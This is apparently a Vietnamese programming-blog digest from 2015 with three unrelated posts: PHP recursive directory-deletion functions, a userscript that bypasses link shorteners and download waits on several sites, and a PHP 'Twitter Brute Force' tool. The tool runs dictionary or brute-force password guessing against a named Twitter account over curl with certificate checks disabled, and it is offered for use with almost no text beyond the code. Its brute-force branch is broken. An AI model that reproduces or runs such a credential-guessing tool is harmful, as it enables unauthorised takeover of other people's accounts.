Xóa thư mục và file trong một thư mục – PHP Posted: 17 Apr 2015 08:32 AM PDT Trong PHP, do cơ chế bảo mật nên muốn xóa một thư mục, bạn phải xóa hết các tệp có trong thư mục đó trước. Tức là chỉ có thể xóa một thư mục rỗng. Bạn có thể mở rộng thêm function này bằng việc thêm vào việc kiểm tra logic: nếu không phải là thư mục => xóa tệp Mã PHP: <?php function delete_directory($dirname) { if (is_dir($dirname)) $dir_handle = opendir($dirname); if (!$dir_handle) return false; while($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { if (!is_dir($dirname."/".$file)) unlink($dirname."/".$file); else delete_directory($dirname.'/'.$file); } } closedir($dir_handle); rmdir($dirname); return true; } ?> Nhìn function trên khá đơn giản và dễ hiểu phải không? Khoan khoan, đừng vội dùng nó ngay, mà hãy đọc phần dưới đây. Tôi sẽ trình bày một function khác, sử dụng đệ quy và nhìn sẽ gọn nhẹ hơn nhiều. Nếu bạn chưa hiểu đệ quy là gì thì tôi giải thích ngắn gọn như sau: – Một hàm được gọi là hàm đệ quy khi trong quá trình thực hiện nó tự gọi lại chính nó để thực hiện. Muốn chi tiết hơn bạn tìm định nghĩa trên Google nhé. Mã PHP: <?php /* * php delete function that deals with directories recursively */ function delete_files($target) { if(is_dir($target)){ $files = glob( $target . '*', GLOB_MARK ); //GLOB_MARK adds a slash to directories returned foreach( $files as $file ) { delete_files( $file ); } rmdir( $target ); } elseif(is_file($target)) { unlink( $target ); } } ?> Nhìn thấy thông thoáng và dễ hiểu hơn function 1 chứ?  ---------- Nguồn www.yeuquangngai.net |
Redirect remover Posted: 16 Apr 2015 11:16 AM PDT Code:
// ==UserScript== // @name Redirect remover // @version 1.5.8 // @description Bypass redirected links. // @namespace idmresettrial // @author idmresettrial // @run-at document-end // @require http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js // @grant none // Website list // @include http://vozforums.com/* // @include http://sinhvienit.net/* // @include http://forum.vietdesigner.net/threads/* // @include http://phienbanmoi.com/* // @include http://muare.vn/* // @include http://www.webtretho.com/* // @include http://adf.ly/* // @include http://q.gs/* // @include http://acer-a500.ru/* // @include http://vegaviet.com/threads/* // @include /^https*:\/\/www.fshare.vn.+/ // @include /^https*:\/\/.+\/.*booking.+london/ // End list // ==/UserScript== this.$ = this.jQuery = jQuery.noConflict(true); // Do not run on frames or iframes if (window.top !== window.self) { return; } document.addEventListener("DOMContentLoaded", function() { site = window.location.hostname; switch (site) { case "vozforums.com": case "sinhvienit.net": case "phienbanmoi.com": case "forum.vietdesigner.net": case "www.webtretho.com": { $('a').each(function() { url = unescape($(this).attr('href')); if (site === "forum.vietdesigner.net") url = unescape(url); redirect = /[?=]http/i; if (redirect.test(url)) { $(this).attr('href',url.replace(/^.+[?=]http/i,"http")); } }); break; } case "adf.ly": case "q.gs": { url=""; if (window.ysmm) { ysmm = window.ysmm; url0 = ""; url1 = ""; for (i=0;i<ysmm.length;i++) { if (i%2===0) { url0 +=ysmm.charAt(i); url1 +=ysmm.charAt(ysmm.length-1-i); } } url = window.atob(url0 + url1); url = url.substring(2,url.length); } if (url.length>0) { window.onbeforeunload = null; window.onunload = null; gogogo(url); } break; } case "acer-a500.ru": case "vegaviet.com": { $('a').each(function() { url = unescape($(this).attr('href')); redirect = {"acer-a500.ru":"http://acer-a500.ru/engine/redir/index/leech_out.php?a:","vegaviet.com":'http://vegaviet.com/redirect/?to='}; if (url.indexOf(redirect[site]) === 0) { $(this).attr('href',window.atob(url.substring(redirect[site].length,url.length))); } }); break; } case "www.fshare.vn": { csrf = $('input[name="fs_csrf"]'); if (csrf.length) { csrf = csrf.attr('value'); data = {speed: 'slow', fs_csrf: csrf}; $.post('/download/index', data).success(function(data){ $('<button class="btn-red free-btn download_btn" style="margin-bottom: 15px; display:none;" id="rrdownload"><div>Tải ngay (Redirect remover)</div></button>').insertBefore('button.download_btn'); $('#rrdownload').fadeIn(); $('#rrdownload').click(function() {window.location.replace(data.url);}); }); } break; } case "muare.vn": { $('a.ProxyLink').removeClass('ProxyLink'); break; } default: { if ( (/^https*:\/\/.+\/.*booking.+london/).test(window.location.href) ) { selector = {"baomoitoday.com":'div[align="center"][style="padding:5px"] a', "travelworld24h.com":"div.cms-content a", "default":"center a"}; if (typeof selector[site] === "undefined") site = "default"; url = $(selector[site]).attr('href'); if (typeof(url) !== 'undefined') gogogo(url); } break; } } }); function gogogo(url) { $('html').html('<html><head><title>'+url+'</title></head><body><h1>Đang chuyển hướng đến trang gốc...</h1></body></html>'); window.location.replace(url); setTimeout(function() { $('body').html(''); }, 2000); }  ---------- Nguồn www.yeuquangngai.net |
[PHP] Twitter Brute Force Posted: 16 Apr 2015 10:53 AM PDT [php]<?php ///////////////////////////////////////////////////// ////Twitter Brute Force By Mauritania Attacker////// /////////////////////////////////////////////////// /////////////////////////////////////////////////// ////Changing Description won't make you the Coder/ ///////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// # This script was created to Brute Force Twitter Logins,# #it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) # /////////////////////////////////////////////////////////////////////////// $dic ="pass.txt"; ////////////////////////////////////////////////////////////////////////// echo " <title>Twitter Brute Force By Mauritania Attacker</title> </head> <style type='text/css'> body { font:Verdana, Arial, Helvetica, sans-serif; font-size:12px; border-color:#FFFFFF; } .raster_table { background-color:BLUE; border-color:#CCCCCC; } .alert { color:#FF0000; } </style> <body> <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Twitter Brute Force Mã PHP: By Mauritania Attacker</b></div> </td> </tr> </table> <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'> </div> </td> </tr> <tr> <td> <div align='center'> </div> </td> </tr> <tr> <td> <div align='center'> <form method='post'> Target User:<br> <input name='username' type='text' /><br><br> <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br> </form> </div> </td> </tr> <tr> <td> <div align='center'> </div> </td> </tr> </table> "; // Sets variables and retrives twitter error for comparing if(isset($_POST['attack']) && isset($_POST['username'])) { $username = $_POST['username']; $headers = array( "Host: stream.twitter.com", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3", "Accept-Encoding: text", # No gzip, it only clutters your code! "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Date: ".date(DATE_RFC822) ); $c = curl_init('https://stream.twitter.com/1/statuses/filter.json'); curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output! curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised $wrong = curl_exec($c); // Get it curl_close($c); // Close the curl stream } //Dictionary Attack if($_POST['attack'] == "dictionary") { $Dictionary = file("$dic"); for ($Position = 0; $Position < count($Dictionary); $Position++) { $Dictionary[$Position] = str_replace("rn", "", $Dictionary[$Position]); if(check_correct($username, $Dictionary[$Position])) { die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div> </td> </tr> </table> </body> </html>"); } } echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the dictionar y attack.</b></div> </td> </tr> </table>"; } //Brute Attack elseif($_POST['attack'] == "brute") { for ($Pass = 0; $Pass < 2; $Pass++) { if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; } if(check_correct($username, $Pass)) { die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div> </td> </tr> </table> </body> </html>"); } } echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the brute for ce attack.</b></div> </td> </tr> </table>"; } echo "</body> </html>"; // Function for checking whether the username and password are correct function check_correct($username, $password) { global $wrong, $headers; $c = curl_init('https://'.$username.':'.$password.'@stream.twitter.com/1/statuses/filter.json'); curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output! curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised $str = curl_exec($c); // Get it curl_close($c); if($str != $wrong) {return true;} else {return false;} } ?>  ---------- Nguồn www.yeuquangngai.net |